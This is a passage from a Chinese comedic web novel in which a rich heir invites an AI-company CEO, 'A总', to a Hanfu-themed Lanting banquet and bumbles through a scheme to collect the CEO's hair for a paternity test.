只不过有点不和谐。
堂堂A总的两只手竟然拿着令人难以想象的神器。要知道手可是美人的第二张通行证。
A总的手细长,骨节分明,虎口处还有淡淡的薄茧,像是常年锻炼撸铁才会留下的痕迹。因此就算有点白皙,却也极其容易让人认得出是男人的手。可偏偏这样一双强劲有力,似乎带着安全感的手此刻左手拿着一个喷雾,右手拿着拍拍乐。
喷雾和拍拍乐都是网传的补水神器。
现如今拍拍乐的海绵已经蓬松膨胀起来了,甚至还有点湿漉漉的,正嘀嗒嘀嗒的往地下滴水。
垂首看了眼地板上的水滴,崔磊磊下意识的摸了摸脸。
看着自己手上沾染湿漉漉的水珠,崔磊磊再一次小心翼翼的嗅了一下。确定自己脸上真不是噩梦中的蟒蛇口水,也不是自己流的哈喇子,崔磊磊百思不得其解,下意识的问出了声:“刚才你打我?”
“先泼了你,”沈谦拿着喷雾示意了一下,面无表情陈述道:“不醒。然后就打你。”
崔磊磊满脸问号。
小白看着沈谦非但没觉得自己的行为很沙雕,甚至拿着两大神器仿若刀剑出鞘,神气扬扬,气势汹汹的,便不自禁揉着自己噗通直跳的心脏,拿出百万高薪助理应有的从容来:“我们是看你太累了,才帮你卸妆。现在你既然醒了,还不赶紧拍照?一个小艺人,还敢这么顶撞我们沈总,还要不要代言合约了?”
说着,小白不去看沈谦是什么脸色,面色沉沉的开口质问道:“你一个小小三十六线的艺人,我们看得上你算你福气了,你竟然还敢睡觉?最基本的敬业准则都没有吗?”
最后一句像极老师死命拿戒尺敲黑板,告诫同学们要划重点。因此作为学渣的崔磊磊被吓得又一个激灵,当即所有理智回笼。下一秒,崔磊磊娴熟无比的露出自己每一次闯祸后标准撒娇求情的微笑,“误会,都是误会,真是对不起,是我最近忙着工作,一时间倏忽了,还望你们见谅。”
见状,沈谦神色带着审视,瞥了眼崔磊磊。
初夏的光透过落地窗入内,照耀到了崔磊磊的身上,甚至为人渡上了淡淡的一层金芒。若是脸蛋不通红的话,崔磊磊的笑容没准似迎风招展的喇叭花一样叭叭叭的。可偏偏崔磊磊的脸被拍打的有些红,像是一块被烧红的烙铁。尤其是人钟爱的卸妆水质量不错,因此崔磊磊原先精心划过的妆容被人擦拭了一下,留下一道夺目的青紫痕迹。
文艺点的说辞,原本该盛开的牡丹花此刻经过大雨滂沱的洗练,颇有些残花的余味,比较容易激起施、虐的快感。
迎着大名鼎鼎
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A总高高在上审视的目光,因自己有错在前,外加上听闻的消息——A总喜静,因此崔磊磊憋着自己开口的欲、望,只乖乖巧巧的再一次用弯腰鞠躬来表达歉意。
谁都没有开口说话,一时间会议室的氛围倏忽间有些诡异的静寂。
小白默默数了三十秒,见自家老板表情一如既往的棺材脸,让人难以揣测心思。只不过当小白眼角余光扫见沈谦拿在手里的打脸工具时,还是不由得信心大增,觉得自己能够秒懂老板的心意。
于是小白硬是让自己一脸讶然的开口:“什么?你不是来签代言协议的?那你是?”
——赶紧说名字说原因!
沈总没准就是因为自己制定公私分明规矩而不好意思带头破坏呢?!
想着,小白看了眼依旧一言不发的沈总,在内心笃定的点点头。
要不是他这话说到沈总心里去了,对方肯定要冷喝一声闭嘴。
而另一边的崔磊磊看着带着金丝眼镜的小白,当即想起对方的资料——A总的心腹助理白瑜。于是他立马顺着台阶下,忙开口自我介绍道:“都是一场误会,我是天仪服饰公关部的经理崔磊磊,前来给A总送邀请函。”
“什么?”小白讶然了一瞬,立马朝崔磊磊弯腰:“不好意思,您稍等一下,许是我们这边秘书安排有误。您稍等。”
说完小白还装模作样打了一个电话,然后面色显而易见的变了便,再一次对着崔磊磊弯腰道歉:“崔小少爷,真是对不起。万万没想到是您亲自前来送邀请函。”
看着如此毕恭毕敬的白助理,崔小少爷愈发不好意思了,只觉得自己燥得慌。
他若是没有崔家,毕业出社会了都不如眼前的白助理呢,得恭恭敬敬给人弯腰。哪里……哪里会像自己先前的行为,竟然心大的睡着了,在别人家的会客室竟然就睡着了。
内心自我检讨着,崔磊磊觉得自己老脸火辣辣的疼,连忙开口道:“对不起是我不对。真的很对不起。”
看着崔磊磊竟然为自己睡觉而羞愧,甚至连耳根都泛着羞红,沈谦垂眸瞥了眼自己手上的作案工具,眼底闪过一抹嘲讽,就连嘴角都勾起一抹轻微讥笑的弧度。
就连娇纵任性甚至自私自利的崔磊磊,都会道歉。
这个世界好像也不正常。
心中揣测着,沈谦脑海不经意间闪现出某种埋藏在心底深处的希冀,手指骤然握紧了自己的作案工具。
这辈子重生,他已经清除了沈家败类,也挽救回被病痛折磨的养母。
算得上报答了最后的养育之恩。
他现如今是A总。
无姓无名,不用承担任何长辈赋予新生孩童姓名的希冀。
作为一个孤魂野鬼,只为自己而活。
展望着属于自己的美好未来,沈谦面无表情的开口问道:“虽然误会澄清了,但是崔小公子我很好奇,贵公司是服装行业,而我司涉及AI领域,两个行业没有多少交集。这隔行如隔山的,天仪服饰怎么想到给我们送邀请函了?”
14. 宴会(上)
感谢秘书小姐端上来的果汁后,崔磊磊借着拿邀请函的名义,利用手机瞄了眼自己被卸妆后的俊脸——红中带着淡淡的青紫(羞愧出来的),有点像刚上市的荔枝壳,带着不规则的纹路。
确定自己俊脸被“毁”了,崔磊磊瞥了眼始作俑者A总,暗中琢磨着如何借此碰瓷,面上却恭敬的把邀请函递过去,慢条斯理的回答对方先前的提问:“A总,我们的确身处不同行业,但现如今我们都在燕城落地生根,享受着燕城政府提供的某些优惠政策。为了回报父母官,我们也该通力合作是不是?”
沈谦闻言面无表情道:“我五分钟后还有个会议。”
言外之意就是只有五分钟的说服时间,对此崔磊磊也早已准备充分,昂首挺胸道:“现如今国潮兴起,燕城政府也在大力推行国潮文化,其中就包括汉服盛典。恰巧我们天仪服饰又是服饰行业,虽然没有相关的生产线,却也愿意为汉服兴盛献出自己绵薄的一份力量。于是便以庆祝天仪服饰成立十九年为由,邀商圈子弟曲觞流水,复刻千年前的文化盛典——”
说到最后崔磊磊铿锵有力,一字一顿:“兰亭宴!”
沈谦看着说着说着就连笔带划的崔磊磊,捕捉关键词:“商圈子弟?”
见人貌似感兴趣了,崔磊磊点头若小鸡啄米:“非但服饰行业上下游的产业链供应商子弟,便是燕城以及周边城市的二代们,我都邀请过来了。A总您别觉得会无聊,我哥他们也赴宴的。你们这些精英人士青梅煮酒论英雄;若是腻歪了也可以骑马射、箭投壶,精致一点泡茶焚香调香料秀荷包,或者看斗蛐蛐斗鸡打马吊。当然赌博这些是没有的。要是实在爱好高雅,我还从我爸手里拿了两幅真假难辨的古画,以及三盆传说中的顶级兰花,你们可以鉴赏真伪,可以赏花。总而言之历朝历代的娱乐方式,我是准备的妥妥的。”
不查不知道,一查古代纨绔也挺能玩的!
瞧着越说越兴奋的崔磊磊,沈谦毫不犹豫泼冷水:“对不起,我也的确抽不出时间参加。”
听到如此果断的拒绝,崔磊磊深呼吸一口气,逼着眼泪在眼眶打转:“A总,这是我自己第一次正儿八经的筹办宴会。要是请不到您,我肯定会被全燕城的小伙伴们笑话的。到时候个个嘲讽我是个绣花枕头,是个纨绔子弟,是个败家子。”
沈谦看着一副楚楚可怜模样的崔磊磊,问的一脸真诚:“与我有什么关系?”
“还记得我们燕云会馆偶遇的那一夜吗?”崔磊磊幽幽的看着沈谦,唱念俱佳,脸上丝毫没有碰瓷的尴尬:“那一夜我……我被训的好惨,但也从哥哥的嘴里知道了您。明明同样的年纪,您就像女娲精心捏出来的泥人,我就是被复制粘贴的存在。因此从知道您实绩的那一刻起,您就是我的偶像!”
沈谦觉得自己刷新了对无耻之徒一词的理解。
“还望偶像垂怜,救救你的小粉丝吧。”崔磊磊抽噎了一下,竭力让自己沾着泪花的眼珠子看向A总,怯怯不安的开口:“而且……而且我顶着这样红扑扑的脸蛋走出去,万一被其他小伙伴们发现,他们肯定以为我遭受了某些虐待,到时候引起误会就不好了,会连累到您的。”
说着崔磊磊不好意思的双手勾了勾。要不是百度说直男癌最吃这楚楚可怜绿茶一套了,他才懒得表演呢!
沈谦屈指在邀请函上敲了敲。
顷刻间咚咚咚的声音,带着肃穆响彻在办公室,压下崔磊磊的轻微啜泣声。
待觉得耳畔听不到某些嗡嗡嗡的声音了,沈谦斜睨了眼泪眼巴巴的崔磊磊,字正腔圆:“听闻崔二少爷是播音主持系的?不是表演系的吧?如此空口白牙,颠倒黑白,道德绑架能力一绝,也难得一见。”
话音带着浓浓的嘲讽,恍若冬日的寒风,瞬间席卷了崔磊磊的全身。若是从前崔磊磊定然忍不住一蹦三尺高,但现如今崔家因他降智因他破产的结局恍若刀柄一直悬挂在他脖子上,因此崔磊磊听到这话,也只是面色变了又变,双手死死勾在了一起。
指尖都不知道什么时候青紫起来,崔磊磊抬眸看向沈谦,他视线扫过对方那张轮廓分明的脸,一脸兴奋,只捡着自己爱听的话来详细展开诉说:“A总您都知道我什么专业啊?那真是太荣幸了。我就知道您面冷心热,否则也不会亲自替我卸妆对不对?对一个还未签约的合作伙伴都这么关心,那肯定对禾悦集团的小崔董事肯定也很关心的。”
沈谦抬起眼皮,看着身份切换自如的崔磊磊,隐忍不住一丝怒火:“你父母白手起家也不容易。他们就没有教导你职场规矩吗?油腔滑调,你觉得自己还很得意是吧?就你这样的,正常来说都在这个办公室呆不到三十秒就被供轰出去了!”
听得沈谦话语中似乎带着恨铁不成钢的意味,崔磊磊沉默了三秒。
然后他便老老实实低头认错:“我爸爸教过的,做销售就要脸皮厚。有道是【世人谤我、欺我、辱我、笑我、轻我、贱我、恶我、骗我】,我好死不如赖活着,只要一口气就有翻本的机会。”
沈谦闻言抬手按了按额头不知何时突起的青筋。
崔磊磊上辈子之所以能这么蹦跶,一次又一次的蹦跶,恐怕也跟这名言有关。
与此同时,崔磊磊认真诉说自己耳濡目染的金科玉律,瞄了一眼面色阴沉似锅的A总,小心翼翼补充道:“但我知道他们这一套没准已经不适合现如今社会发展的法则了,因此您若是不嫌弃的话,收我为徒吧,我会认认真真学习的。”
沈谦目瞪口呆,头一次正正经经的审视自己的前仇敌崔磊磊。
看着人说得一脸正经的模样,他不得不承认一件事:这胡搅蛮缠的能力,他真的不如崔磊磊。
见人沉默不语,崔磊磊连忙秉承默认就是同意的原则,忙不迭道:“您放心我会很有诚意的。您只要给我三十秒,我肯定能够支持以恒,坚持不懈的打动您,让您参加宴会的!”
沈谦看着逻辑自成体系的崔磊磊,恍惚着回过神来,冷笑道:“好,今天五分钟给你崔家小少爷的面子,明天就三十秒。按着普通员工,你还得预约,先过秘书的筛选。”
“好!”闻言崔磊磊眸光一亮,觉得自己看到了胜利的曙光。
进行商业吹捧后,便昂首挺胸走出了总裁办公室,开启了自己的B计划。
于是秘书立马就收到了禾悦集团公关部经理的预约函。对于全国排名前五的房地产公司,当然不能简单粗暴的筛选,自然是安排行程了。
岂料刚排完行程,又来个许氏传媒集团公关部经理的预约函。对于娱乐圈大鳄,燕城本地的豪门又有虚拟偶像项目在,秘书也只能安排行程。
岂料刚安排完,又来个黎氏海洋国际集团的预约函。
秘书急急忙忙找助理小白。
小白看着一连串各行各业的公司邀请函,紧张的敲开总裁办公室的大门。
沈谦一目十行扫过后,面无表情打了个电话,“在燕城?滚过来。”
“A总,您就答应赴宴吧。”
被许聪聪从黎家请过来的黎鸣直接进了总裁办公室,忙不迭诉说前因后果:“崔磊磊在燕城纨绔圈子里还是有点号召力的,且这人性子又
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轴又倔强。其他人看热闹不嫌事大,都纷纷贡献职位。现在都已经开始排班了,打算把您当网红地打卡签到呢!
沈谦把黎氏海洋国际集团的预约函朝黎鸣甩了过去,“你们家也陪着崔磊磊胡闹?还公关部代经理,崔磊磊够厉害啊!”
看着面带寒霜的沈谦,黎鸣叹口气,小心翼翼解释:“叔……不,A总,您听我解释。这纨绔虽然办不成什么大事,但闹腾起来杀伤力和很强的。除非那种被精心养废的,剩下的纨绔,有一句话形容的好每一个熊孩子背后都有熊家长。”
“崔磊磊姓崔吧?能让你黎家如此开后门?”沈谦说着似想起了什么,目光似刀刃,盯着黎鸣,“许聪聪和崔磊磊到底是什么关系?你们是他把当做外孙媳妇宠了?”
黎鸣闻言一愣,而后急急忙忙解释起来:“没有,绝对没有。这两要是凑一对,那就是泼猴上天,杀伤力瞬间提高三倍。现如今我爸他们还有能力护着许聪聪,可轮到我,我可没能耐给他们收尾。当然最重要的是,他们两是兄弟情谊。”
说着黎鸣见沈谦所有所思的模样,眼眸转了转。想着自己从表弟嘴里听到的消息——崔磊磊看上A总了,于是他便一脸“老丈人看儿婿越看越满意”的表情,双眸炯炯的看着有能力收尾的霸总:“A总,您别看崔磊磊有点傻劲,有点不着调。但是他也很讲义气,为人热心肠。且啊,他这个地方有点后遗症。”
抬手指指脑袋,黎鸣一脸崇拜道:“当年他硬生生的替聪聪挨了一铁棍啊,ICU躺了半月。也是因这份情谊,我们黎家才在无伤大雅的地方帮人行个方便。”
沈谦见状,眉头一簇:“后遗症?”
=========
得到黎鸣回复——A总愿意赴兰亭宴后,崔磊磊狠狠吁出一口气:“还是咱表哥厉害!”他崔磊磊也是懂职场人脉规矩的。
“我也很厉害好不好?”许聪聪哼了一声,凑崔磊磊耳畔:“我认真打探了一下,A总的身世好像真的有些秘密。”
崔磊磊竖耳倾听。
岂料对方就没下文了。
崔磊磊目瞪口问:“就……就这一句话?”
许聪聪理直气壮:“真那么容易打探消息,沈家还叫顶级豪门吗?我光旁敲侧击,都是拿着我妈跟我舅妈他们卖惨,才让人情绪激动,漏了些口风。我才能得到这么一句话。”
诉说完自己打探消息的不容易,许聪聪看着崔磊磊懊悔的表情,才不急不缓的开口:“不过你放心,我已经想办法让狗仔王派遣小狗仔去沈家应聘当园艺师了。只要耐心等待,不出半年总能打探明白的。”
闻言崔磊磊当即明白发小话语中的意思——眼下最简单粗暴的办法还是夺取A总的头发丝,进行验证!因此崔磊磊也毫不犹豫道:“陪我一起准备兰亭宴,把道具准备好,多几个以备不时之需。”
许聪聪听到这话,还颇为佩服的拍拍崔磊磊的肩膀:“还是你聪明,我会精心准备些适合A总的头套。”
“他不穿汉服怎么办?”崔磊磊闻言深深为“小说里反派团”的智商担忧,“我是让你准备道具,就电视里那种有机关的戒指手镯之类,能够缠绕住头发的。到时候我醉酒冲向A总,魔爪伸向他的脑袋,轻轻一勾……”
话语戛然而止,崔磊磊缓缓把手捏紧成拳,想象了一番手到擒来的美好画面,露出一个诡异嘚瑟的笑容,“头发样本要多少有多少,嘿嘿嘿!”
在办公的沈谦眼皮猛得跳了两下,握在手中的钢笔一顿,斜睨了眼摆放在一旁的大红邀请函,喃喃了一声:“汉服?”
15. 宴会(中)
恰巧百万年薪的助理小白收到自家boss朝令夕改的消息,沉默了一瞬后,立马打开了橙色APP,不差钱的的把排名前三十的所有商品加入购物车中。
三个小时后,小白拆开闪送快递映入眼前的书籍封面《恋爱三十六招》、《爱情三百问》、《论如何攻略直男》、《同性婚姻法出台后的恋爱观》……他满意的点点头,吩咐道:“放在餐厅最显眼的位置。”
小秘书:“???”
习惯性下班后在公司解决温饱问题的沈谦瞥了眼自己餐桌前的书架,漫不经心拿起来一本名为《小作精》的书翻了翻,声音冷得跟冰渣子一样,“白总助很闲?”
白总助头皮一麻,紧绷着脸,把自己草拟了一万遍的理由一本正经的说了出来:“A总,咱们公司是技术性公司,多的是单身汉。按照现如今行业内卷以及程序员家庭焦虑等报告来看,我们若是能够在企业文化方便多关注单身狗的健康,帮助他们解决好家庭问题,有利于公司稳步发展,冲向世界第一。”
听到最后一句话,沈谦冷硬的面色柔和了些,点头感慨:“有道理。”
闻言小白微不着痕的吁口气。
“那我去参加宴会,得主动点?”沈谦默念着家庭和谐,一目十行的看了看页面,眉头微微一拧。
既然他对崔磊磊的态度太过复杂,纵容的有点一言难尽,嫌弃的又想杀人,有点像传说中真爱的样子——恨之欲其死,爱之欲其生,没事的情况下崔磊磊最好闭嘴当手办周边就行。那是该提前准备几套方案,免得措手不及。
助理小白闻言恨不得捋一把不存在的胡须,放声大笑。
他虽然是沈谦的下属,但也算学长,知道沈谦曾经遭受过的冷暴力。因此他也希望沈谦能够谈情说爱,组建一个幸福美满的小家庭,以此来弥补童年的伤痛。
所以意外知道沈谦竟然开窍,提及真爱一词后,他便宁可冒着沈谦动怒的风险,也想添柴加火,帮人烧出爱情的火苗。
现在看样子万事俱备,就差窥探出崔磊磊的心意了。
崔磊磊:“…………”
崔磊磊做好“醉酒表白薅头发”的作战计划后,拉着许聪聪检查宴会场馆的进展。
有许聪聪这个娱乐圈太子爷在,搭建秦汉、盛唐、大宋、明朝四个重点朝代的娱乐分馆进展颇为顺利。非但各种娱乐方式,甚至民俗馆里用来展示的物件,道具师们在强大的钞能力下也加班加点一比一的复刻出来。且还有各种具有代表性的各朝代糕点小吃。
总而言之,像模像样的!
“这个寿石不错啊。”崔磊磊巡查完毕,最后负手绕着伫立在会馆最中间的寿石是看了又看,“远看就像个寿字哎,结束后搬我家里去,这玩意看起来就有文化。老崔肯定喜欢!”
“泡沫做的。”许聪聪戳破本质。
“老崔就图有文化,看着喜庆就行。”
“那成,还有仙桃,还有那种脚塌祥云的麒麟,实际上的边牧。但凡电视剧出现过给皇帝老儿贺寿的道具,我都让人整了一套。现在还在赶工,明天就能布置上。”许聪聪闻言豪迈无比:“保准叔叔阿姨看见了开心。”
“还是兄弟靠谱,我都差点忘记主题是生日party了。”崔磊磊感谢过后,认认真真在备忘录记载【寿石搬回家】后,便去挑汉服。
试了一套又一套,时间就这样不知不觉中流逝。
最终崔磊磊被安排了一套北宋朝服。
工作人员看着崔磊磊把全套复刻的朝服——【朱衣朱裳,内着白色罗中单,外束罗料大带,并有绯色罗料蔽膝,身挂锦绶、玉佩、玉钏,下着白绫袜黑皮履】穿在身上,没有朝服应有的冷厉肃穆之气,反倒是衬着人愈发眉清目秀,唇红齿白,风流倜傥,纷纷面带些遗憾。崔磊磊若是去演戏,就这么一张小脸蛋往电影里一摆,便是惊艳的画面。
而另一边崔父看见崔磊磊按着他审美观念穿着打扮后,恨不得热泪盈眶,激动道:“就这样,电视里包青天就这么穿的!”
崔磊磊闻言乐得合不拢嘴。
“闭嘴别说话,不许笑。”崔父果断开口,遏制住一笑就没有包青天风范的儿子,面无表情道:“脸紧绷住了,等我拍两张照片。聪聪你扮的展昭也好,你们两靠近一点,好,不要笑,对,严肃!”
许聪聪:“…………”
崔磊磊:“…………”
耐心等自家老爸拍照完毕,崔磊磊便迫不及待开口:“爸,小金子他们都提前来了。趁着宾客还没到场,我们先去看看斗鸡。聪聪说这两公鸡可是古装片御用的大明星公鸡呢。”
许聪聪在一旁附和点头。
崔父闻言直接挥手,示意两人快走。等见崔磊磊猴急猴急往外跑,一副穿上官服也不像太子的傻模样,崔父垂首瞥了眼自己退休后养的宝贝狗孙子。
狗孙子大名叫崔招娣,此刻哪怕穿着道具师精心设计的铠甲小马甲,却是噗嗤噗嗤吐着舌头,一脸网传的二哈模样,压根没有上过警犬学校的风范。
就……就跟崔磊磊变回原形一个样!
老父亲是越看越抑郁,也没有心情欣赏像模像样的各种古代奇奇怪怪的玩具,也没有耐心听各种讲解,直接蹲门口把百忙之中莅临宴会的崔宝诚拉到角落里,问:“磊磊真的这么短短一个星期时间,就筹办起这么大的宴会?还搞得像模像样的?就算有许聪聪协助。好像执行力也太强了些。”
“爸,在吃喝玩乐方面磊磊执行力一向高效。”崔宝诚与有荣焉的说完,转眸间瞥见崔父还在拧着眉头发愁,声音压低了些:“他恐怕写论文憋坏了,就想光明正大玩玩,玩些新奇的花样。您想想现如今纨绔之间的游戏,就他那个怕死怕疼的德性,也不可能翼装飞行丛林探险深海潜行。那可不就只剩下折腾老祖宗的游戏?”
“也对。”崔父思忖了半晌,点点头表示认同后,但下一秒又愁了起来,“可我觉得不对劲。他最近乖的不对劲。你说说他这装乖装的,是不是真看上A总了?”
崔宝诚闻言神色淡然:“我等会套套许聪聪口风。磊磊耿直,压根就藏不住事,他憋着不跟我们说,也会跟聪聪说。”
“聪聪啊……”崔父似想起了什么,声音更加压低了几分,问:“那个塌房的爱豆怎么样了?”
说到最后,崔父双眸带着些狠厉。
“爸,这事磊磊处理的不错,有笔录在,那两渣男都不敢在磊磊面前蹦跶。聪聪也没有仗着身份雪藏两人。”崔宝诚见状,面色凝重:“除了脸,那个柏川压根不会和磊磊他们有任何交集。现如今磊磊不看脸了,咱们完全不用再生事端。”
说到最后就差直言警告崔父不要动用钞能力封杀柏川和秦卿。
“没有后续才是麻烦啊。”崔父看着脑子弯都不会转的大儿子,只觉得胸口闷得慌,语重心长分析道:“那就说明磊磊还是玩玩,还是没有走出被初恋伤害的阴影啊。现在毕业季了,那个该死的狗男男也要回来了。”
崔宝诚面色骤然铁青。
见自家儿子还知道生气,崔父才觉得自己先前的抑郁之气消散了些,娓娓道来自己的盘算:“咱们趁今天考察A总。要是性、情过得去的话,就帮忙牵线搭桥。不然那对狗男男学成归国,若是知道磊磊被戴绿帽子,还嚣张刺激磊磊。没准得生出什么风波。”
放眼整个燕城,他本来挑选了三个年轻俊男的,可A总这样的“王者段位”一出,其他人还真有点逊色。
心理拨弄着小算盘,崔父拍拍崔宝诚肩膀,见缝插针叮嘱着:“我不催你结婚,但以你这个不解风情的榆木脑袋,以后还是生男孩好。要是生个闺女,就你粗神经,万一我孙女被人欺负了怎么办?到时候我得从骨灰盒里爬出来找你算账!
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”
“养闺女跟养儿子不一样的知道吗?闺女遇到渣男,”崔父抬手猛得拍了一下崔宝诚肚皮:“一辈子的伤害。”磊磊是天生的受,跟闺女也没区别了,哎。
崔宝诚感受着肚腹传来的疼痛,恨不得抬手发誓:“您放心,我知道厉叔叔是看中我,才放心让厉莉莉倒追,但……”
迎着自家老爸犀利的目光,崔宝诚难得叹口气,“我也会好好培养哄人开心的艺术细胞,行吗?”
“这还差不多。”崔父满意:“走,去门口蹲守A总去。”
两个小时后,被宴会东道主惦念的A总缓步入场。
所有人不约而同抬眸看向大名鼎鼎的A总,不由得眼前一亮。有些与崔磊磊相熟的女太子爷甚至摩拳擦掌,只觉得自己浑身荷尔蒙都沸腾了起来。
什么是真正的贵公子?什么是画卷照射进现实世界?什么是活的绿晋江小说男主!
眼下一身铠甲,缓步入内的A总无疑教出了最完美的答卷。
A总整个人活像是从古战场刚下来一般,即便面如冠玉,但浑身上下散发着军人的坚毅,甚至还有些一夫当关万夫莫开的强大与安心的气场。可这样带着些血性的气息被A总俊美的长相柔和了些,以致于完美的像是古代皇子将军。
既温润优雅,举手投足间有帝王的矜贵气息,又有沐浴沙场锻炼出来的阳刚之气。两种气息相得益彰,相辅相成,让A总瞬间就秒杀了全场。
整个主宴厅静寂了一瞬。
所有赴宴人员视线随着A总的步伐,看向了东道主崔磊磊。
燕城的纨绔团体们见状傲然的挺挺胸脯。他们燕城也有拿的出手的美人,虽然风格迥异,但都是美人儿!
而此刻被寄予厚望的美人儿幽幽的看着A总脑袋上那锃光瓦亮的头盔,只觉得自己心碎了一地。
A总,传说中的A总,竟然……竟然自带汉服,一点都不需要主办方提供。
还是铠甲!
连帽子都有!
竟然从头到脚都穿的规规矩矩的,一丝不、漏。
不管是醉酒表白薅头发还是借着人情让A总入乡随俗现场做个造型的计划,都毁了。
毁了毁了毁了!
计划永远赶不上变化!
艹!
崔磊磊越想情绪越发激动。他又没想抢沈谦的男主光环,也没想要抱大腿,他就想着找到沈谦,提前跟爸爸妈妈说明白。可这个世界偏偏跟他作对,好像他命里带衰一样!
脑海不经意间浮现出自己几乎烙印在脑髓里崔家凄惨下场的描写,崔磊磊浑身都不由自主的紧绷了起来。
被注目的沈谦敏感的察觉到崔磊磊情绪的变化,脚步倏忽一顿。他眯着眼盯着面色顷刻间惨白起来的崔磊磊,眼眸沉了沉。
与此同时敏感察觉到发小此刻处于崩溃中,装扮成带刀侍卫的许聪聪拿刀戳向崔磊磊的腰间,示意人稳住。这宴会不行,他们还有表哥,到时候可以死皮赖脸的私人聚会。
但想归想,同样是纨绔的许聪聪看着“破坏”他们计划的A总,脑子跟不上行动,因此下意识就力气大了些,直接刀柄重重的戳了一下崔磊磊。
下一秒许聪聪就见崔磊磊身形轻薄如纸,直接惯性向前一扑。
许聪聪脑中空白一瞬。
暗中观察的崔父手肘敲了一下崔宝诚,眼神示意:“看看,这才叫沆瀣一气的兄弟啊!见过助攻的,没见过如此简单粗、暴的。”
崔宝诚点头表示自己有数,会好好学习的。
小白见状恨不得暗中拍掌叫好。瞧瞧,这老天爷给光明正大接触的机会啊!
被觊觎厚望的沈谦此刻表情异常凝重。
这又碰瓷?
没点新套路的!
正腹诽着,沈谦便听得耳畔传来一声凄厉的呼喊:“救——脸——”
16. 宴会(下)
脱口而出后,崔磊磊敏感的察觉到有一道炙热的目光幽幽的盯着自己,如芒刺在背,让人下意识的颤抖。于是,他娴熟的把捂着脸的手指缝展开。岂料刚展开缝隙,他还没来得及适应光线呢,就撞见了冰冷的眼神。这眼神明晃晃的书写了两个字——智障!
虽然这样的形容好像有点对,但崔磊磊除了家世外,也就的的确确脸蛋比智商拿得出手了。
心中一字一顿自我犀利批判着,崔磊磊慢慢的将指缝缩小,闭着眼感受着入目的黑暗。与此同时他不断在脑海里重复着“只要我不尴尬,尴尬的就是别人,所以等会用英雄救美碰瓷着”。
不知道是不是自己的错觉,沈谦总觉得对方有一瞬间像是小乌龟,小心翼翼的探出脑袋悄悄瞄了一眼精彩的世界,然后像是察觉到有什么危险,就顷刻间龟缩回去。看上去生性怯懦,亦或是缺乏安全感,压根没有表现出来的那么肆意横行。
感慨着,沈谦用力了一分,直接拎着崔磊磊的腰带,把人拎高了几分,想要再观察的仔细些。
猝不及防一下子升高,力量骤然被集中在腰间的崔磊磊捂不住自己的脸蛋,行动先于思想做出了反应。仿若溺水的儿童一般,双手开始挣扎了起来,想要抓住可以借力的东西,下意识的便抓住了沈谦的手。
两人这番举动变化发生在电光火石之间,快得两其他人也捕捉不到。就连离两位当事人最近的许聪聪,他盯着这典型的“英雄救美”名场面静默了一瞬后,昂头看着被当小鸡崽拎高的崔磊磊,难得发挥出家学渊源,发自肺腑的感慨道:“我靠,男友力爆了!”
在场其他人听得响彻耳畔的惊呼,一时间表情复杂无比。与崔磊磊相熟的一帮纨绔子弟更是丝毫不掩饰自己内心所思所想,用同伴听得到的音调窃窃私语:“哎,科技新贵看起来太直男了吧?要是改成公主抱,这场面直接能够拍成电影了。”
“我总算明白什么叫强行撩汉了,这尴尬的我都脚趾头抠出航空母舰,去月球定居了。”
“不愧是六块石头,头太铁了,竟然直接啃A总这传说中的AI机器人。”
“赌一个月的零花钱,没准孔雀小明皇连对方干什么都不清楚的,只以为能够走后门写游戏外挂。”
“…………”
听得背后响起的八卦声,小白飞快看向满脸通红的崔磊磊,脑子不经意浮现大名鼎鼎狗仔王潜入公司调查A总是否在打游戏的事情,当即浑身一僵。下一秒,他僵着脑袋,小心翼翼的转眸看向自家老板。
果不其然特意郑重穿着一番的沈总神色晦暗不明,让人难以揣测此时此刻的心情。
沈谦只觉得自己手上似乎有千斤重。他缓缓的放手,还礼节性的搀扶了一把,让崔磊磊能够站稳步伐。
见状许聪聪有样学样,立马扶住崔磊磊。
感受到与地面实实在在接触带来“脚踏实地”的安心感,崔磊磊看着瞬间放手的A总,表情空白一瞬。然后他听得不绝如缕的八卦好奇声,崔磊磊脑海浮现出崔家落败后众人指指点点的描写,立马弯腰道歉:“谢谢A总,我……我这第一次穿汉服有点不适应,踩着了。所以对不起了。”
许聪聪看着骤然收回去规规矩矩的手,倏忽间眼眸一眯,锁定了崔磊磊修剪的精致圆润的指甲,眉头一挑,跟着解释道:“也是因为磊磊最近忙着筹备宴会,这大概累了。这所谓救人救到底,送佛送到西对不对?您能不能帮我搭把手,我们扶着磊磊去医务室看看?”
说完,许聪聪无视众人剐过来的诡异打量视线,厚着脸皮攀谈着关系:“那个叔,您说对吧?我们习武人士,乐于助人是天性。”
边说许聪聪眼角余光往沈谦手上瞄。作为一个亲子鉴定大户家族出生的崽,他虽然没详细查过亲子鉴定需要的样本,但也知道头发和指甲的作用差不多。薅不到头发,那想办法剪个指甲也成!
话音落下,整个宴会厅顷刻间噤若寒蝉,大多数人都颇为讶然的看着A总。他们竟然不知道A总跟许家还有关系。这许聪聪管人叫叔,那就是上一代许家的私生子?
唯恐众人胡思乱想,黎鸣咳咳了两声,径直上前做介绍:“表叔,这就是我的表弟许聪聪。这是他的好兄弟崔磊磊。”
沈谦声音冷冷:“知道。若不是你出面邀请,我今日也不会赴宴。”
刚浮想联翩的众人都被如此直白的画风给震撼住了。
作为东道主的崔宝诚发现自己此刻是绞尽脑汁,都想不出该如何为如此婉转的名场面收尾。
而当事人沈谦却慢条斯理,不急不缓的开口:“既是人情原因赴宴,你的表弟开口了,那走吧。”
说完他还侧眸看了眼面色的确有些白的崔磊磊,问的颇为慈祥:“需要拎着你走吗?”
崔磊磊顷刻间面色红润,气得鼓起腮帮子。
许聪聪掐了一把崔磊磊的腰肢,示意人冷静,边热情无比:“谢谢叔。医务室,不,太医院这边请。说起来也是我这战斗力太渣了,不如您,一看就是大将军转世,神功盖世。”
宴会其他人沉默的看着许聪聪一边拍着彩虹屁,一边推着崔磊磊,积极的诠释什么叫“僚机”!
完全不管两人身后还跟随的助理。
目送着“宴会红人”离开的背影,崔宝诚眉头紧蹙。
也不知道是不是他错觉,崔磊磊乖的不太像话,竟然对“拎”这样粗糙的字眼没有任何反应。要知道人十岁以后,被揪耳朵都要抗议上大半天,说动作粗俗,不优雅。他崔磊磊可是要做个优雅男孩的,只能被公主抱,不能被扛着,更别提被拎着跟个小鸡崽一样。
正琢磨着,崔宝诚便听得手机嗡得一声。
习惯性打开看一眼消息后,崔宝诚看着微信内容【老大,你负责招待宾客,我带着狗孙子溜达过去看看】表示认同。
这两纨绔凑一起,肯定是窜天猴,没准就憋着大招。
=====
